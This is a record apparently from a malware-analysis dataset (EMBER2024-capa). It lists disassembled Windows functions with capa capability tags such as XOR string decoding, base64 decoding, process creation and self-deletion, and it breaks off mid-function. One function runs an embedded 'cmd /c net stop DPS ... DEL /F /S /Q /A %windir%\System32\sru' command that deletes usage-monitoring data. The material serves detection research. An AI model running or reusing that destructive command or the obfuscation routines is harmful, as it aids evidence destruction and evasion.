joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140049d70
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x60
mov r15, rdx
mov rsi, rcx
xor edi, edi
mov dword [rsp + 0x98], edi
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140049da2
mov rcx, qword [rdx]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor edx, edx
mov r8d, 1
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov r14d, dword [rsp + 0x98]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov r12, rdi
mov qword [rsp + 0x58], rdi
test r14, r14
je 0x140049e16
mov edx, r14d
lea rcx, [rsp + 0x48]
call fcn.140077950
mov r8d, r14d
xor edx, edx
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
add r14, rbx
mov qword [rsp + 0x50], r14
mov r12, qword [rsp + 0x58]
jmp 0x140049e20
mov r14, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
cmp qword [r15 + 0x18], 0xf
jbe 0x140049e2a
mov r15, qword [r15]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov r9, rbx
xor edx, edx
mov r8d, 1
mov rcx, r15
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], rdi
mov ebp, reloc.WS2_32.dll_ntohs
mov qword [rsi + 0x18], rbp
cmp rbx, r14
jne 0x140049e75
mov byte [rsi], 0
jmp 0x140049f2e
sub r14, rbx
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x140049f85
cmp r14, rbp
jbe 0x140049f0b
mov rbp, r14
or rbp, 0xf
cmp rbp, rax
jbe 0x140049ec8
mov rbp, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400e803c
test rax, rax
je 0x140049ef5
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140049f04
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rbp, rax
cmovb rbp, rax
lea rcx, [rbp + 1]
test rcx, rcx
je 0x140049f04
cmp rcx, 0x1000
jb 0x140049efc
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140049f8b
jmp 0x140049ead
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e803c
mov rdi, rax
mov qword [rsi], rdi
mov qword [rsi + 0x18], rbp
mov rdi, rsi
cmp rbp, 0xf
jbe 0x140049f17
mov rdi, qword [rsi]
mov r8, r14
mov rdx, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov qword [rsi + 0x10], r14
mov byte [rdi + r14], 0
test rbx, rbx
je 0x140049f69
sub r12, rbx
mov rax, rbx
cmp r12, 0x1000
jb 0x140049f5e
add r12, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049f5e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r12
mov rcx, rbx
call fcn.1400e8390
mov rax, rsi
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call fcn.140035ae0
nop
call fcn.140003a00
int3
Function at 0x14004af60
Capabilities:
Create process on windows
Self delete

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x100
xorps xmm0, xmm0
xor eax, eax
xor ebx, ebx
mov qword [r11 - 0x18], rax
movups xmmword [r11 - 0x78], xmm0
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov dword [r11 - 0x78], 0x68
movups xmmword [r11 - 0x48], xmm0
mov dword [r11 - 0x3c], 1
movups xmmword [r11 - 0x38], xmm0
mov word [r11 - 0x38], bx
movups xmmword [r11 - 0x68], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [r11 - 0x58], xmm0
mov qword [rsp + 0x70], rbx
movups xmmword [r11 - 0x28], xmm0
movups xmmword [rsp + 0x50], xmm0
call fcn.1400e803c
movdqa xmm0, xmmword [0x140111520]
mov rdx, rax
mov qword [rsp + 0x68], rax
xor r9d, r9d
movdqu xmmword [rsp + 0x78], xmm0
xor r8d, r8d
xor ecx, ecx
movaps xmm0, xmmword [str.cmd__c_net_stop_DPS___NUL_2_1__DEL__F__S__Q__A___windir_System32_sru___net_start_DPS___NUL_2_1]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x14010efd0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x14010efe0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x14010eff0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x14010f000]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x14010f010]
movups xmmword [rax + 0x50], xmm1
mov eax, dword [0x14010f020]
mov dword [rdx + 0x60], eax
movzx eax, word [0x14010f024]
mov word [rdx + 0x64], ax
movzx eax, byte [0x14010f026]
mov byte [rdx + 0x66], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov byte [rdx + 0x67], bl
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14004b09b
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x14004b0de
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b0d9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b0d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e8390
add rsp, 0x100
pop rbx
ret
Function at 0x140067600
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
cmp byte [0x1401b537c], 1
jne 0x140067619
lea rcx, [0x1401b58c0]
call fcn.14008e350
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14006a2b0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xa], 0
mov r8, rcx
je 0x14006a3b2
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x14006a387
movzx eax, word [rcx]
movdqa xmm3, xmmword [0x140111fa0]
movdqa xmm2, xmmword [0x140111540]
movdqa xmm0, xmmword [0x1401113e0]
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
pshufb xmm1, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmmword [reloc.WS2_32.dll_bind]
movd eax, xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
mov word [rcx], ax
movzx eax, word [rcx + 2]
pshufb xmm1, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmmword [reloc.WS2_32.dll_connect]
movd eax, xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
mov word [rcx + 2], ax
movzx eax, word [rcx + 4]
pshufb xmm1, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmmword [reloc.WS2_32.dll_getsockname]
movd eax, xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
mov word [rcx + 4], ax
movzx eax, word [rcx + 6]
pshufb xmm1, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [rcx + 6], ax
mov eax, 8
movabs r9, 0x6d81c3e3b379b5a9
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 0xa
jb 0x14006a391
mov byte [r8 + 0xa], 0
mov rax, r8
ret

Function at 0x14006aad0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
cmp byte [rcx + 0x4b], 0
mov rbx, rdx
mov r10, rcx
je 0x14006ab12
mov r8, rcx
mov rax, rcx
neg r8
nop dword [rax + rax]
lea edx, [rax + r8]
lea ecx, [rdx + 0x1b]
add dl, 0x1c
xor byte [rax], cl
xor byte [rax + 1], dl
lea rax, [rax + 2]
lea rcx, [r8 + rax]
cmp rcx, 0x4a
jb 0x14006aaf0
mov byte [r10 + 0x4b], 0
lea r8, [r10 + 0x4a]
mov rdx, r10
lea r9, [rsp + 0x48]
mov rcx, rbx
call fcn.140075750
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14006ab30
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xc], 0
mov r8, rcx
je 0x14006ac32
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x14006ac07
movzx eax, word [rcx]
movdqa xmm3, xmmword [0x1401122b0]
movdqa xmm2, xmmword [0x140111540]
movdqa xmm0, xmmword [0x1401113e0]
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
pshufb xmm1, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmmword [reloc.WS2_32.dll_bind]
movd eax, xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
mov word [rcx], ax
movzx eax, word [rcx + 2]
pshufb xmm1, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmmword [reloc.WS2_32.dll_connect]
movd eax, xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
mov word [rcx + 2], ax
movzx eax, word [rcx + 4]
pshufb xmm1, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmmword [reloc.WS2_32.dll_getsockname]
movd eax, xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
mov word [rcx + 4], ax
movzx eax, word [rcx + 6]
pshufb xmm1, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [rcx + 6], ax
mov eax, 8
movabs r9, 0xa92f07a353213337
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 0xc
jb 0x14006ac11
mov byte [r8 + 0xc], 0
mov rax, r8
ret
Function at 0x14006ac40
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
cmp byte [rcx + 0x5f], 0
mov rbx, rdx
mov r10, rcx
je 0x14006ac82
mov r8, rcx
mov rax, rcx
neg r8
nop dword [rax + rax]
lea edx, [rax + r8]
lea ecx, [rdx + 0x1b]
add dl, 0x1c
xor byte [rax], cl
xor byte [rax + 1], dl
lea rax, [rax + 2]
lea rcx, [r8 + rax]
cmp rcx, 0x5e
jb 0x14006ac60
mov byte [r10 + 0x5f], 0
lea r8, [r10 + 0x5e]
mov rdx, r10
lea r9, [rsp + 0x48]
mov rcx, rbx
call fcn.140075750
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14006aca0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
cmp byte [rcx + 0x5c], 0
mov rbx, rdx
mov r10, rcx
je 0x14006ad25
mov r8, 0xfffffffffffffffe
lea rax, [rcx + 2]
sub r8, rcx
lea edx, [r8 + rax]
lea ecx, [rdx + 0x1b]
xor byte [rax - 2], cl
lea rax, [rax + 0xd]
lea ecx, [rdx + 0x1c]
xor byte [rax - 0xe], cl
lea ecx, [rdx + 0x1d]
xor byte [rax - 0xd], cl
lea ecx, [rdx + 0x1e]
xor byte [rax - 0xc], cl
lea ecx, [rdx + 0x1f]
xor byte [rax - 0xb], cl
lea ecx, [rdx + 0x20]
xor byte [rax - 0xa], cl
lea ecx, [rdx + 0x21]
xor byte [rax - 9], cl
lea ecx, [rdx + 0x22]
xor byte [rax - 8], cl
lea ecx, [rdx + 0x23]
xor byte [rax - 7], cl
lea ecx, [rdx + 0x24]
xor byte [rax - 6], cl
lea ecx, [rdx + 0x25]
xor byte [rax - 5], cl
lea ecx, [rdx + 0x26]
xor byte [rax - 4], cl
add dl, 0x27
xor byte [rax - 3], dl
lea rcx, [rax + r8]
cmp rcx, 0x5b
jb 0x14006acc0
mov byte [r10 + 0x5c], 0
lea r8, [r10 + 0x5b]
mov rdx, r10
lea r9, [rsp + 0x48]
mov rcx, rbx
call fcn.140075750
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14006ad50
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0x62], al
je 0x14006ad83
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + 0x1b]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0x61
jb 0x14006ad70
mov byte [rdx + 0x62], 0
lea r8, [rdx + 0x61]
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140075750
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14006ada0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0x6c], al
je 0x14006add3
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + 0x1b]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0x6b
jb 0x14006adc0
mov byte [rdx + 0x6c], 0
lea r8, [rdx + 0x6b]
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140075750
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14006adf0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
cmp byte [rcx + 0x5e], 0
mov rbx, rdx
mov r10, rcx
je 0x14006ae39
mov r8, 0xfffffffffffffffe
lea rax, [rcx + 2]
sub r8, rcx
lea edx, [rax + r8]
lea ecx, [rdx + 0x1b]
xor byte [rax - 2], cl
lea rax, [rax + 3]
lea ecx, [rdx + 0x1c]
add dl, 0x1d
xor byte [rax - 4], cl
lea rcx, [r8 + rax]
xor byte [rax - 3], dl
cmp rcx, 0x5d
jb 0x14006ae10
mov byte [r10 + 0x5e], 0
lea r8, [r10 + 0x5d]
mov rdx, r10
lea r9, [rsp + 0x48]
mov rcx, rbx
call fcn.140075750
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14006ae60
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
cmp byte [rcx + 0x67], 0
mov rbx, rdx
mov r10, rcx
je 0x14006af0d
mov r8, 0xfffffffffffffffe
lea rax, [rcx + 2]
sub r8, rcx
nop dword [rax]
nop dword [rax + rax]
lea edx, [rax + r8]
lea ecx, [rdx + 0x1b]
xor byte [rax - 2], cl
lea rax, [rax + 0x11]
lea ecx, [rdx + 0x1c]
xor byte [rax - 0x12], cl
lea ecx, [rdx + 0x1d]
xor byte [rax - 0x11], cl
lea ecx, [rdx + 0x1e]
xor byte [rax - 0x10], cl
lea ecx, [rdx + 0x1f]
xor byte [rax - 0xf], cl
lea ecx, [rdx + 0x20]
xor byte [rax - 0xe], cl
lea ecx, [rdx + 0x21]
xor byte [rax - 0xd], cl
lea ecx, [rdx + 0x22]
xor byte [rax - 0xc], cl
lea ecx, [rdx + 0x23]
xor byte [rax - 0xb], cl
lea ecx, [rdx + 0x24]
xor byte [rax - 0xa], cl
lea ecx, [rdx + 0x25]
xor byte [rax - 9], cl
lea ecx, [rdx + 0x26]
xor byte [rax - 8], cl
lea ecx, [rdx + 0x27]
xor byte [rax - 7], cl
lea ecx, [rdx + 0x28]
xor byte [rax - 6], cl
lea ecx, [rdx + 0x29]
xor byte [rax - 5], cl
lea ecx, [rdx + 0x2a]
xor byte [rax - 4], cl
add dl, 0x2b
xor byte [rax - 3], dl
lea rcx, [r8 + rax]
cmp rcx, 0x66
jb 0x14006ae90
mov byte [r10 + 0x67], 0
lea r8, [r10 + 0x66]
mov rdx, r10
lea r9, [rsp + 0x48]
mov rcx, rbx
call fcn.140075750
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14006af30
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
cmp byte [rcx + 0x61], 0
mov rbx, rdx
mov r10, rcx
je 0x14006afd7
mov r8, 0xfffffffffffffffe
lea rax, [rcx + 2]
sub r8, rcx
nop dword [rax]
nop dword [rax + rax]
lea edx, [rax + r8]
lea ecx, [rdx + 0x1b]
xor byte [rax - 2], cl
lea rax, [rax + 0x10]
lea ecx, [rdx + 0x1c]
xor byte [rax - 0x11], cl
lea ecx, [rdx + 0x1d]
xor byte [rax - 0x10], cl
lea ecx, [rdx + 0x1e]
xor byte [rax - 0xf], cl
lea ecx, [rdx + 0x1f]
xor byte [rax - 0xe], cl
lea ecx, [rdx + 0x20]
xor byte [rax - 0xd], cl
lea ecx, [rdx + 0x21]
xor byte [rax - 0xc], cl
lea ecx, [rdx + 0x22]
xor byte [rax - 0xb], cl
lea ecx, [rdx + 0x23]
xor byte [rax - 0xa], cl
lea ecx, [rdx + 0x24]
xor byte [rax - 9], cl
lea ecx, [rdx + 0x25]
xor byte [rax - 8], cl
lea ecx, [rdx + 0x26]
xor byte [rax - 7], cl
lea ecx, [rdx + 0x27]
xor byte [rax - 6], cl
lea ecx, [rdx + 0x28]
xor byte [rax - 5], cl
lea ecx, [rdx + 0x29]
xor byte [rax - 4], cl
add dl, 0x2a
xor byte [rax - 3], dl
lea rcx, [r8 + rax]
cmp rcx, 0x60
jb 0x14006af60
mov byte [r10 + 0x61], 0
lea r8, [r10 + 0x60]
mov rdx, r10
lea r9, [rsp + 0x48]
mov rcx, rbx
call fcn.140075750
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14006b000
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0x5a], al
je 0x14006b033
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + 0x1b]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0x59
jb 0x14006b020
mov byte [rdx + 0x5a], 0
lea r8, [rdx + 0x59]
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140075750
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14006b4b0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14006b4d8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14006b4fe
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14006b500
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14006b559
test ecx, ecx
jle 0x14006b539
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14006b559
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14006b559
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x14006b580
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14006b5b1
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je 0x14006b5cf
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14006b5eb
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14006b5ed
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14006b629
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14006b6be
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14006b664
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14006b69e
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14006b6be
cmp rbx, rax
ja 0x14006b670
test rbx, rbx
je 0x14006b6be
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14006bad0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14006baf4
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x14006bb37
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x14006bb37
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov eax, edi
mov byte [rdx], dil
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0x80], rsi
je 0x14006bc68
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14006bb7a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14006bba5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x14006bc6d
lea rax, [rsp + 0x90]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14006bc1a
sub eax, 1
je 0x14006bc1a
cmp eax, 2
jne 0x14006bc68
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x14006bc6d
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x48]
sub rsi, rax
je 0x14006bc4b
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x48]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14006bc68
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x98], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14006bc6d
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x14006d8d0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x16], 0
mov r8, rcx
je 0x14006da41
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x14006da0f
movdqa xmm2, xmmword [0x1401113e0]
lea rdx, [rcx + 4]
movdqa xmm3, xmmword [reloc.WS2_32.dll_getsockopt]
mov r9, 0xfffffffffffffffe
movdqa xmm4, xmmword [0x140112500]
sub r9, rcx
movdqa xmm5, xmmword [0x140111540]
mov r10d, 2
sub r10, rcx
movzx ecx, word [rdx - 4]
movq xmm0, rax
punpcklqdq xmm0, xmm0
add rax, 8
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 4], cx
lea rcx, [r9 + rdx]
movq xmm0, rcx
movzx ecx, word [rdx - 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 2], cx
mov rcx, rdx
sub rcx, r8
movq xmm0, rcx
movzx ecx, word [rdx]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx], cx
lea rcx, [r10 + rdx]
movq xmm0, rcx
movzx ecx, word [rdx + 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx + 2], cx
add rdx, 8
cmp rax, 0x10
jb 0x14006d923
cmp rax, 0x16
jae 0x14006da3c
movabs r9, 0xdbf199b92b4f3b23
nop dword [rax]
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 0x16
jb 0x14006da20
mov byte [r8 + 0x16], 0
ret
Function at 0x14006da50
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x12], 0
mov r8, rcx
je 0x14006dbc1
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x14006db8f
movdqa xmm2, xmmword [0x1401113e0]
lea rdx, [rcx + 4]
movdqa xmm3, xmmword [reloc.WS2_32.dll_getsockopt]
mov r9, 0xfffffffffffffffe
movdqa xmm4, xmmword [0x140112770]
sub r9, rcx
movdqa xmm5, xmmword [0x140111540]
mov r10d, 2
sub r10, rcx
movzx ecx, word [rdx - 4]
movq xmm0, rax
punpcklqdq xmm0, xmm0
add rax, 8
